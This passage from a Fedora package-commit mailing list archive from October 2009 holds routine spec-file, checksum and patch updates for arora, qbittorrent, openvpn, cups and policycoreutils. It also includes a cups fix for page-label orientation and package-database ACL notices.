 * Mon Jul 31 2009 Jaroslav Reznik <jreznik at redhat.com> - 0.9.0-1
 - Update to 0.9.0
 
@@ -139,4 +168,4 @@ rm -rf $RPM_BUILD_ROOT
 - Location bar's double click selects all
 
 * Wed Aug 13 2008 Jaroslav Reznik <jreznik at redhat.com> - 0.3-1  
-- Initial spec file 
\ No newline at end of file
+- Initial spec file 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/arora/F-10/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	31 Aug 2009 11:58:32 -0000	1.9
+++ sources	2 Oct 2009 10:31:14 -0000	1.10
@@ -1 +1 @@
-6473ddb24d65d468265c94710409937b  arora-0.9.0.tar.gz
+664d48d4473f18f561583e453cd39e7d  arora-0.10.0.tar.gz


--- arora-0.8.0-fedorahome.patch DELETED ---


--- arora-0.9.0-fedorabookmarks.patch DELETED ---


--- arora-0.9.0-gitversion.patch DELETED ---



From leigh123linux at fedoraproject.org  Fri Oct  2 10:54:40 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Fri,  2 Oct 2009 10:54:40 +0000 (UTC)
Subject: rpms/qbittorrent/devel qbittorrent.spec,1.36,1.37
Message-ID: <20091002105440.9BDE511C00C1@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21049

Modified Files:
	qbittorrent.spec 
Log Message:
* Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-2
- Rebuild for rb_libtorrent-0.14.6



Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/qbittorrent.spec,v
retrieving revision 1.36
retrieving revision 1.37
diff -u -p -r1.36 -r1.37
--- qbittorrent.spec	1 Oct 2009 11:39:00 -0000	1.36
+++ qbittorrent.spec	2 Oct 2009 10:54:39 -0000	1.37
@@ -3,7 +3,7 @@
 Name:    qbittorrent
 Summary: A Bittorrent Client 
 Version: 1.5.3
-Release: 1%{?dist}
+Release: 2%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
 # svn checkout -r %{svn_rev} https://qbittorrent.svn.sourceforge.net/svnroot/qbittorrent/trunk qbittorrent
@@ -74,6 +74,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-2
+- Rebuild for rb_libtorrent-0.14.6
+
 * Thu Oct 01 2009 Leigh Scott <leigh123linux at googlemail.com> - 1.5.3-1
 - update to 1.5.3
 



From leigh123linux at fedoraproject.org  Fri Oct  2 10:59:07 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Fri,  2 Oct 2009 10:59:07 +0000 (UTC)
Subject: rpms/qbittorrent/F-12 .cvsignore, 1.15, 1.16 qbittorrent.spec, 1.35,
	1.36 sources, 1.15, 1.16
Message-ID: <20091002105907.9ADD511C00C1@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22552

Modified Files:
	.cvsignore qbittorrent.spec sources 
Log Message:
* Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-1
- Rebuild for rb_libtorrent-0.14.6
- update to 1.5.3



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/.cvsignore,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- .cvsignore	22 Sep 2009 11:25:37 -0000	1.15
+++ .cvsignore	2 Oct 2009 10:59:07 -0000	1.16
@@ -1 +1 @@
-qbittorrent-1.5.2.tar.gz
+qbittorrent-1.5.3.tar.gz


Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/qbittorrent.spec,v
retrieving revision 1.35
retrieving revision 1.36
diff -u -p -r1.35 -r1.36
--- qbittorrent.spec	22 Sep 2009 11:25:38 -0000	1.35
+++ qbittorrent.spec	2 Oct 2009 10:59:07 -0000	1.36
@@ -2,7 +2,7 @@
 
 Name:    qbittorrent
 Summary: A Bittorrent Client 
-Version: 1.5.2
+Version: 1.5.3
 Release: 1%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
@@ -74,6 +74,10 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-1
+- Rebuild for rb_libtorrent-0.14.6
+- update to 1.5.3
+
 * Tue Sep 22 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.2-1
 - update to 1.5.2
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/F-12/sources,v
retrieving revision 1.15
retrieving revision 1.16
diff -u -p -r1.15 -r1.16
--- sources	22 Sep 2009 11:25:38 -0000	1.15
+++ sources	2 Oct 2009 10:59:07 -0000	1.16
@@ -1 +1 @@
-4b0440513eda51523fdd504274b057da  qbittorrent-1.5.2.tar.gz
+3db3e435ac00dc997e3b9d816ae93c45  qbittorrent-1.5.3.tar.gz



From leigh123linux at fedoraproject.org  Fri Oct  2 11:14:23 2009
From: leigh123linux at fedoraproject.org (Leigh Scott)
Date: Fri,  2 Oct 2009 11:14:23 +0000 (UTC)
Subject: rpms/qbittorrent/devel qbittorrent.spec,1.37,1.38
Message-ID: <20091002111424.A580211C00C1@cvs1.fedora.phx.redhat.com>

Author: leigh123linux

Update of /cvs/pkgs/rpms/qbittorrent/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27333

Modified Files:
	qbittorrent.spec 
Log Message:
* Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-3
- bump spec due to cvs tagging error



Index: qbittorrent.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qbittorrent/devel/qbittorrent.spec,v
retrieving revision 1.37
retrieving revision 1.38
diff -u -p -r1.37 -r1.38
--- qbittorrent.spec	2 Oct 2009 10:54:39 -0000	1.37
+++ qbittorrent.spec	2 Oct 2009 11:14:21 -0000	1.38
@@ -3,7 +3,7 @@
 Name:    qbittorrent
 Summary: A Bittorrent Client 
 Version: 1.5.3
-Release: 2%{?dist}
+Release: 3%{?dist}
 # The source for this package was pulled from upstream's vcs.  Use the
 # following commands to generate the tarball:
 # svn checkout -r %{svn_rev} https://qbittorrent.svn.sourceforge.net/svnroot/qbittorrent/trunk qbittorrent
@@ -74,6 +74,9 @@ gtk-update-icon-cache %{_datadir}/icons/
 %{_datadir}/icons/hicolor/*/apps/qbittorrent.png
 
 %changelog
+* Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-3
+- bump spec due to cvs tagging error
+
 * Fri Oct 02 2009 leigh scott <leigh123linux at googlemail.com> - 1.5.3-2
 - Rebuild for rb_libtorrent-0.14.6
 



From steve at fedoraproject.org  Fri Oct  2 11:39:26 2009
From: steve at fedoraproject.org (Steven Pritchard)
Date: Fri,  2 Oct 2009 11:39:26 +0000 (UTC)
Subject: rpms/openvpn/devel .cvsignore, 1.25, 1.26 openvpn.spec, 1.47,
	1.48 sources, 1.25, 1.26
Message-ID: <20091002113926.351F111C00C1@cvs1.fedora.phx.redhat.com>

Author: steve

Update of /cvs/pkgs/rpms/openvpn/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2123

Modified Files:
	.cvsignore openvpn.spec sources 
Log Message:
Update to 2.1_rc20.


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/devel/.cvsignore,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- .cvsignore	7 Sep 2009 06:28:03 -0000	1.25
+++ .cvsignore	2 Oct 2009 11:39:25 -0000	1.26
@@ -1,2 +1,2 @@
-openvpn-2.1_rc19.tar.gz
-openvpn-2.1_rc19.tar.gz.asc
+openvpn-2.1_rc20.tar.gz
+openvpn-2.1_rc20.tar.gz.asc


Index: openvpn.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/devel/openvpn.spec,v
retrieving revision 1.47
retrieving revision 1.48
diff -u -p -r1.47 -r1.48
--- openvpn.spec	7 Sep 2009 06:28:04 -0000	1.47
+++ openvpn.spec	2 Oct 2009 11:39:25 -0000	1.48
@@ -1,10 +1,10 @@
-%define prerelease rc19
+%define prerelease rc20
 
 %define plugins down-root auth-pam
 
 Name:              openvpn
 Version:           2.1
-Release:           0.35%{?prerelease:.%{prerelease}}%{?dist}
+Release:           0.36%{?prerelease:.%{prerelease}}%{?dist}
 Summary:           A full-featured SSL VPN solution
 URL:               http://openvpn.net/
 #Source0:           http://openvpn.net/beta/%{name}-%{version}%{?prerelease:_%{prerelease}}.tar.gz
@@ -170,6 +170,9 @@ fi
 %config %dir %{_sysconfdir}/%{name}/
 
 %changelog
+* Fri Oct 02 2009 Steven Pritchard <steve at kspei.com> 2.1-0.36.rc20
+- Update to 2.1_rc20.
+
 * Sun Sep 06 2009 Kalev Lember <kalev at smartlink.ee> - 2.1-0.35.rc19
 - Update to 2.1_rc19
 - Build with pkcs11-helper


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/openvpn/devel/sources,v
retrieving revision 1.25
retrieving revision 1.26
diff -u -p -r1.25 -r1.26
--- sources	7 Sep 2009 06:28:04 -0000	1.25
+++ sources	2 Oct 2009 11:39:25 -0000	1.26
@@ -1,2 +1,2 @@
-ba2ee667a8b7606b125b7d32f47ca578  openvpn-2.1_rc19.tar.gz
-60dd63b0b37cabb5f467e1ededd013ce  openvpn-2.1_rc19.tar.gz.asc
+552038d36980470448bf1d701c9effc3  openvpn-2.1_rc20.tar.gz
+b04b1d058cb5dc3f65ca696bc5021278  openvpn-2.1_rc20.tar.gz.asc



From twaugh at fedoraproject.org  Fri Oct  2 11:54:14 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri,  2 Oct 2009 11:54:14 +0000 (UTC)
Subject: rpms/cups/F-11 cups-page-label.patch, NONE, 1.1 cups.spec, 1.519,
	1.520
Message-ID: <20091002115414.3495911C00C1@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6761

Modified Files:
	cups.spec 
Added Files:
	cups-page-label.patch 
Log Message:
* Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-2
- Fixed orientation of page labels when printing text in landscape
  mode (bug #520141, STR #3334).


cups-page-label.patch:
 pstops.c |   40 +++++++++++++++++++++++++++++++++++-----
 1 file changed, 35 insertions(+), 5 deletions(-)

--- NEW FILE cups-page-label.patch ---
diff -up cups-1.4.1/filter/pstops.c.page-label cups-1.4.1/filter/pstops.c
--- cups-1.4.1/filter/pstops.c.page-label	2009-10-02 12:33:33.410719651 +0100
+++ cups-1.4.1/filter/pstops.c	2009-10-02 12:34:11.399594180 +0100
@@ -108,6 +108,7 @@ typedef struct				/**** Document informa
   int		num_options;		/* Number of document-wide options */
   cups_option_t	*options;		/* Document-wide options */
   int		normal_landscape,	/* Normal rotation for landscape? */
+		orientation,		/* Original orientation of the document */
 		saw_eof,		/* Saw the %%EOF comment? */
 		slow_collate,		/* Collate copies by hand? */
 		slow_duplex,		/* Duplex pages slowly? */
@@ -2048,7 +2049,7 @@ do_setup(pstops_doc_t *doc,		/* I - Docu
     * of the pages...
     */
 
-    if (Orientation & 1)
+    if (doc->orientation & 1)
       write_label_prolog(doc, doc->page_label, PageBottom,
                          PageWidth - PageLength + PageTop, PageLength);
     else
@@ -2056,7 +2057,30 @@ do_setup(pstops_doc_t *doc,		/* I - Docu
                          PageLength);
   }
   else
-    write_label_prolog(doc, doc->page_label, PageBottom, PageTop, PageWidth);
+  {
+    switch (doc->orientation)
+    {
+      case 0 :
+	  write_label_prolog(doc, doc->page_label, PageBottom, PageTop, 
+                             PageWidth);
+          break;
+
+      case 1 :
+	  write_label_prolog(doc, doc->page_label, PageLeft, PageRight, 
+                             PageLength);
+          break;
+
+      case 2 :
+	  write_label_prolog(doc, doc->page_label, PageLength - PageTop, 
+                             PageLength - PageBottom, PageWidth);
+          break;
+
+      case 3 :
+	  write_label_prolog(doc, doc->page_label, PageWidth - PageRight, 
+                             PageWidth - PageLeft, PageLength);
+          break;
+    }
+  }
 }
 
 
@@ -2141,7 +2165,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
     case 1 :
 	if (doc->use_ESPshowpage)
 	{
-	  write_labels(doc, Orientation);
+	  write_labels(doc, doc->orientation);
           doc_puts(doc, "ESPshowpage\n");
 	}
 	break;
@@ -2156,7 +2180,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
 	    * Rotate the labels back to portrait...
 	    */
 
-	    write_labels(doc, Orientation - 1);
+	    write_labels(doc, doc->orientation - 1);
 	  }
 	  else if (Orientation == 0)
 	  {
@@ -2182,7 +2206,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
     default :
 	if (is_last_page(number) && doc->use_ESPshowpage)
 	{
-	  write_labels(doc, Orientation);
+	  write_labels(doc, doc->orientation);
           doc_puts(doc, "ESPshowpage\n");
 	}
         break;
@@ -2385,6 +2409,12 @@ set_pstops_options(
   doc->new_bounding_box[3] = INT_MIN;
 
  /*
+  * Save original orientation of the document
+  */
+
+  doc->orientation = Orientation;
+
+ /*
   * AP_FIRSTPAGE_InputSlot
   */
 


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-11/cups.spec,v
retrieving revision 1.519
retrieving revision 1.520
diff -u -p -r1.519 -r1.520
--- cups.spec	30 Sep 2009 12:51:54 -0000	1.519
+++ cups.spec	2 Oct 2009 11:54:13 -0000	1.520
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 1%{?dist}
+Release: 2%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -39,6 +39,7 @@ Patch11: cups-direct-usb.patch
 Patch12: cups-lpr-help.patch
 Patch13: cups-peercred.patch
 Patch14: cups-pid.patch
+Patch15: cups-page-label.patch
 Patch16: cups-eggcups.patch
 Patch17: cups-getpass.patch
 Patch18: cups-driverd-timeout.patch
@@ -193,6 +194,7 @@ module. 
 %patch12 -p1 -b .lpr-help
 %patch13 -p1 -b .peercred
 %patch14 -p1 -b .pid
+%patch15 -p1 -b .page-label
 %patch16 -p1 -b .eggcups
 %patch17 -p1 -b .getpass
 %patch18 -p1 -b .driverd-timeout
@@ -503,6 +505,10 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-2
+- Fixed orientation of page labels when printing text in landscape
+  mode (bug #520141, STR #3334).
+
 * Wed Sep 30 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-1
 - 1.4.1.
 - Don't use cached PPD for raw queue (bug #526405, STR #3356).



From twaugh at fedoraproject.org  Fri Oct  2 12:02:44 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri,  2 Oct 2009 12:02:44 +0000 (UTC)
Subject: rpms/cups/F-12 cups-page-label.patch, NONE, 1.1 cups.spec, 1.523,
	1.524
Message-ID: <20091002120244.8B3EF11C00C1@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9857

Modified Files:
	cups.spec 
Added Files:
	cups-page-label.patch 
Log Message:
* Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-7
- Fixed orientation of page labels when printing text in landscape
  mode (bug #520141, STR #3334).


cups-page-label.patch:
 pstops.c |   40 +++++++++++++++++++++++++++++++++++-----
 1 file changed, 35 insertions(+), 5 deletions(-)

--- NEW FILE cups-page-label.patch ---
diff -up cups-1.4.1/filter/pstops.c.page-label cups-1.4.1/filter/pstops.c
--- cups-1.4.1/filter/pstops.c.page-label	2009-10-02 12:33:33.410719651 +0100
+++ cups-1.4.1/filter/pstops.c	2009-10-02 12:34:11.399594180 +0100
@@ -108,6 +108,7 @@ typedef struct				/**** Document informa
   int		num_options;		/* Number of document-wide options */
   cups_option_t	*options;		/* Document-wide options */
   int		normal_landscape,	/* Normal rotation for landscape? */
+		orientation,		/* Original orientation of the document */
 		saw_eof,		/* Saw the %%EOF comment? */
 		slow_collate,		/* Collate copies by hand? */
 		slow_duplex,		/* Duplex pages slowly? */
@@ -2048,7 +2049,7 @@ do_setup(pstops_doc_t *doc,		/* I - Docu
     * of the pages...
     */
 
-    if (Orientation & 1)
+    if (doc->orientation & 1)
       write_label_prolog(doc, doc->page_label, PageBottom,
                          PageWidth - PageLength + PageTop, PageLength);
     else
@@ -2056,7 +2057,30 @@ do_setup(pstops_doc_t *doc,		/* I - Docu
                          PageLength);
   }
   else
-    write_label_prolog(doc, doc->page_label, PageBottom, PageTop, PageWidth);
+  {
+    switch (doc->orientation)
+    {
+      case 0 :
+	  write_label_prolog(doc, doc->page_label, PageBottom, PageTop, 
+                             PageWidth);
+          break;
+
+      case 1 :
+	  write_label_prolog(doc, doc->page_label, PageLeft, PageRight, 
+                             PageLength);
+          break;
+
+      case 2 :
+	  write_label_prolog(doc, doc->page_label, PageLength - PageTop, 
+                             PageLength - PageBottom, PageWidth);
+          break;
+
+      case 3 :
+	  write_label_prolog(doc, doc->page_label, PageWidth - PageRight, 
+                             PageWidth - PageLeft, PageLength);
+          break;
+    }
+  }
 }
 
 
@@ -2141,7 +2165,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
     case 1 :
 	if (doc->use_ESPshowpage)
 	{
-	  write_labels(doc, Orientation);
+	  write_labels(doc, doc->orientation);
           doc_puts(doc, "ESPshowpage\n");
 	}
 	break;
@@ -2156,7 +2180,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
 	    * Rotate the labels back to portrait...
 	    */
 
-	    write_labels(doc, Orientation - 1);
+	    write_labels(doc, doc->orientation - 1);
 	  }
 	  else if (Orientation == 0)
 	  {
@@ -2182,7 +2206,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
     default :
 	if (is_last_page(number) && doc->use_ESPshowpage)
 	{
-	  write_labels(doc, Orientation);
+	  write_labels(doc, doc->orientation);
           doc_puts(doc, "ESPshowpage\n");
 	}
         break;
@@ -2385,6 +2409,12 @@ set_pstops_options(
   doc->new_bounding_box[3] = INT_MIN;
 
  /*
+  * Save original orientation of the document
+  */
+
+  doc->orientation = Orientation;
+
+ /*
   * AP_FIRSTPAGE_InputSlot
   */
 


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/F-12/cups.spec,v
retrieving revision 1.523
retrieving revision 1.524
diff -u -p -r1.523 -r1.524
--- cups.spec	30 Sep 2009 12:40:01 -0000	1.523
+++ cups.spec	2 Oct 2009 12:02:44 -0000	1.524
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -39,6 +39,7 @@ Patch11: cups-direct-usb.patch
 Patch12: cups-lpr-help.patch
 Patch13: cups-peercred.patch
 Patch14: cups-pid.patch
+Patch15: cups-page-label.patch
 Patch16: cups-eggcups.patch
 Patch17: cups-getpass.patch
 Patch18: cups-driverd-timeout.patch
@@ -193,6 +194,7 @@ module. 
 %patch12 -p1 -b .lpr-help
 %patch13 -p1 -b .peercred
 %patch14 -p1 -b .pid
+%patch15 -p1 -b .page-label
 %patch16 -p1 -b .eggcups
 %patch17 -p1 -b .getpass
 %patch18 -p1 -b .driverd-timeout
@@ -507,6 +509,10 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-7
+- Fixed orientation of page labels when printing text in landscape
+  mode (bug #520141, STR #3334).
+
 * Wed Sep 30 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-6
 - Don't use cached PPD for raw queue (bug #526405, STR #3356).
 



From twaugh at fedoraproject.org  Fri Oct  2 12:03:19 2009
From: twaugh at fedoraproject.org (Tim Waugh)
Date: Fri,  2 Oct 2009 12:03:19 +0000 (UTC)
Subject: rpms/cups/devel cups-page-label.patch, NONE, 1.1 cups.spec, 1.523,
	1.524
Message-ID: <20091002120319.EEF7411C00C1@cvs1.fedora.phx.redhat.com>

Author: twaugh

Update of /cvs/pkgs/rpms/cups/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10067

Modified Files:
	cups.spec 
Added Files:
	cups-page-label.patch 
Log Message:
* Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-7
- Fixed orientation of page labels when printing text in landscape
  mode (bug #520141, STR #3334).


cups-page-label.patch:
 pstops.c |   40 +++++++++++++++++++++++++++++++++++-----
 1 file changed, 35 insertions(+), 5 deletions(-)

--- NEW FILE cups-page-label.patch ---
diff -up cups-1.4.1/filter/pstops.c.page-label cups-1.4.1/filter/pstops.c
--- cups-1.4.1/filter/pstops.c.page-label	2009-10-02 12:33:33.410719651 +0100
+++ cups-1.4.1/filter/pstops.c	2009-10-02 12:34:11.399594180 +0100
@@ -108,6 +108,7 @@ typedef struct				/**** Document informa
   int		num_options;		/* Number of document-wide options */
   cups_option_t	*options;		/* Document-wide options */
   int		normal_landscape,	/* Normal rotation for landscape? */
+		orientation,		/* Original orientation of the document */
 		saw_eof,		/* Saw the %%EOF comment? */
 		slow_collate,		/* Collate copies by hand? */
 		slow_duplex,		/* Duplex pages slowly? */
@@ -2048,7 +2049,7 @@ do_setup(pstops_doc_t *doc,		/* I - Docu
     * of the pages...
     */
 
-    if (Orientation & 1)
+    if (doc->orientation & 1)
       write_label_prolog(doc, doc->page_label, PageBottom,
                          PageWidth - PageLength + PageTop, PageLength);
     else
@@ -2056,7 +2057,30 @@ do_setup(pstops_doc_t *doc,		/* I - Docu
                          PageLength);
   }
   else
-    write_label_prolog(doc, doc->page_label, PageBottom, PageTop, PageWidth);
+  {
+    switch (doc->orientation)
+    {
+      case 0 :
+	  write_label_prolog(doc, doc->page_label, PageBottom, PageTop, 
+                             PageWidth);
+          break;
+
+      case 1 :
+	  write_label_prolog(doc, doc->page_label, PageLeft, PageRight, 
+                             PageLength);
+          break;
+
+      case 2 :
+	  write_label_prolog(doc, doc->page_label, PageLength - PageTop, 
+                             PageLength - PageBottom, PageWidth);
+          break;
+
+      case 3 :
+	  write_label_prolog(doc, doc->page_label, PageWidth - PageRight, 
+                             PageWidth - PageLeft, PageLength);
+          break;
+    }
+  }
 }
 
 
@@ -2141,7 +2165,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
     case 1 :
 	if (doc->use_ESPshowpage)
 	{
-	  write_labels(doc, Orientation);
+	  write_labels(doc, doc->orientation);
           doc_puts(doc, "ESPshowpage\n");
 	}
 	break;
@@ -2156,7 +2180,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
 	    * Rotate the labels back to portrait...
 	    */
 
-	    write_labels(doc, Orientation - 1);
+	    write_labels(doc, doc->orientation - 1);
 	  }
 	  else if (Orientation == 0)
 	  {
@@ -2182,7 +2206,7 @@ end_nup(pstops_doc_t *doc,		/* I - Docum
     default :
 	if (is_last_page(number) && doc->use_ESPshowpage)
 	{
-	  write_labels(doc, Orientation);
+	  write_labels(doc, doc->orientation);
           doc_puts(doc, "ESPshowpage\n");
 	}
         break;
@@ -2385,6 +2409,12 @@ set_pstops_options(
   doc->new_bounding_box[3] = INT_MIN;
 
  /*
+  * Save original orientation of the document
+  */
+
+  doc->orientation = Orientation;
+
+ /*
   * AP_FIRSTPAGE_InputSlot
   */
 


Index: cups.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cups/devel/cups.spec,v
retrieving revision 1.523
retrieving revision 1.524
diff -u -p -r1.523 -r1.524
--- cups.spec	30 Sep 2009 11:37:42 -0000	1.523
+++ cups.spec	2 Oct 2009 12:03:19 -0000	1.524
@@ -9,7 +9,7 @@
 Summary: Common Unix Printing System
 Name: cups
 Version: 1.4.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 License: GPLv2
 Group: System Environment/Daemons
 Source: http://ftp.easysw.com/pub/cups/1.4.0/cups-%{version}-source.tar.bz2
@@ -39,6 +39,7 @@ Patch11: cups-direct-usb.patch
 Patch12: cups-lpr-help.patch
 Patch13: cups-peercred.patch
 Patch14: cups-pid.patch
+Patch15: cups-page-label.patch
 Patch16: cups-eggcups.patch
 Patch17: cups-getpass.patch
 Patch18: cups-driverd-timeout.patch
@@ -193,6 +194,7 @@ module. 
 %patch12 -p1 -b .lpr-help
 %patch13 -p1 -b .peercred
 %patch14 -p1 -b .pid
+%patch15 -p1 -b .page-label
 %patch16 -p1 -b .eggcups
 %patch17 -p1 -b .getpass
 %patch18 -p1 -b .driverd-timeout
@@ -507,6 +509,10 @@ rm -rf $RPM_BUILD_ROOT
 %{php_extdir}/phpcups.so
 
 %changelog
+* Fri Oct  2 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-7
+- Fixed orientation of page labels when printing text in landscape
+  mode (bug #520141, STR #3334).
+
 * Wed Sep 30 2009 Tim Waugh <twaugh at redhat.com> 1:1.4.1-6
 - Don't use cached PPD for raw queue (bug #526405, STR #3356).
 



From pkgdb at fedoraproject.org  Fri Oct  2 12:10:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 12:10:38 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091002121039.0077710F800@bastion2.fedora.phx.redhat.com>

corsepiu has set the commit acl on help2man (Fedora 11) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From pkgdb at fedoraproject.org  Fri Oct  2 12:10:40 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 12:10:40 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091002121040.16E1210F889@bastion2.fedora.phx.redhat.com>

corsepiu has set the commit acl on help2man (Fedora 12) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From pkgdb at fedoraproject.org  Fri Oct  2 12:10:49 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 02 Oct 2009 12:10:49 +0000
Subject: [pkgdb] help2man had acl change status
Message-ID: <20091002121049.593A910F800@bastion2.fedora.phx.redhat.com>

corsepiu has set the commit acl on help2man (Fedora devel) to Approved for ovasik

To make changes to this package see:
  /pkgdb/packages/name/help2man



From dwalsh at fedoraproject.org  Fri Oct  2 12:49:38 2009
From: dwalsh at fedoraproject.org (Daniel J Walsh)
Date: Fri,  2 Oct 2009 12:49:38 +0000 (UTC)
Subject: rpms/policycoreutils/F-12 policycoreutils-gui.patch, 1.93,
	1.94 policycoreutils.spec, 1.648, 1.649
Message-ID: <20091002124938.7211A11C00C1@cvs1.fedora.phx.redhat.com>

Author: dwalsh

Update of /cvs/extras/rpms/policycoreutils/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv24480

Modified Files:
	policycoreutils-gui.patch policycoreutils.spec 
Log Message:
* Fri Oct 2 2009 Dan Walsh <dwalsh at redhat.com> 2.0.74-8
- More template fixes


policycoreutils-gui.patch:
 Makefile                    |   41 
 booleansPage.py             |  247 +++
 domainsPage.py              |  154 +
 fcontextPage.py             |  223 ++
 html_util.py                |  164 ++
 lockdown.glade              |  771 +++++++++
 lockdown.gladep             |    7 
 lockdown.py                 |  382 ++++
 loginsPage.py               |  185 ++
 mappingsPage.py             |   56 
 modulesPage.py              |  190 ++
 polgen.glade                | 3305 ++++++++++++++++++++++++++++++++++++++++++
 polgen.gladep               |    7 
 polgen.py                   | 1188 +++++++++++++++
 polgengui.py                |  627 ++++++++
 portsPage.py                |  259 +++
 selinux.tbl                 |  234 +++
 semanagePage.py             |  168 ++
 statusPage.py               |  190 ++
 system-config-selinux.glade | 3403 ++++++++++++++++++++++++++++++++++++++++++++
 system-config-selinux.py    |  189 ++
 templates/__init__.py       |   18 
 templates/boolean.py        |   40 
 templates/etc_rw.py         |  129 +
 templates/executable.py     |  359 ++++
 templates/network.py        |   80 +
 templates/rw.py             |  127 +
 templates/script.py         |   99 +
 templates/semodule.py       |   41 
 templates/tmp.py            |   97 +
 templates/user.py           |  182 ++
 templates/var_lib.py        |  158 ++
 templates/var_log.py        |  110 +
 templates/var_run.py        |  118 +
 templates/var_spool.py      |  129 +
 translationsPage.py         |  118 +
 usersPage.py                |  150 +
 37 files changed, 13945 insertions(+)

Index: policycoreutils-gui.patch
===================================================================
RCS file: /cvs/extras/rpms/policycoreutils/F-12/policycoreutils-gui.patch,v
retrieving revision 1.93
retrieving revision 1.94
diff -u -p -r1.93 -r1.94
--- policycoreutils-gui.patch	1 Oct 2009 16:05:57 -0000	1.93
+++ policycoreutils-gui.patch	2 Oct 2009 12:49:35 -0000	1.94
@@ -12251,8 +12251,8 @@ diff --exclude-from=exclude -N -u -r nsa
 +"""
 diff --exclude-from=exclude -N -u -r nsapolicycoreutils/gui/templates/executable.py policycoreutils-2.0.74/gui/templates/executable.py
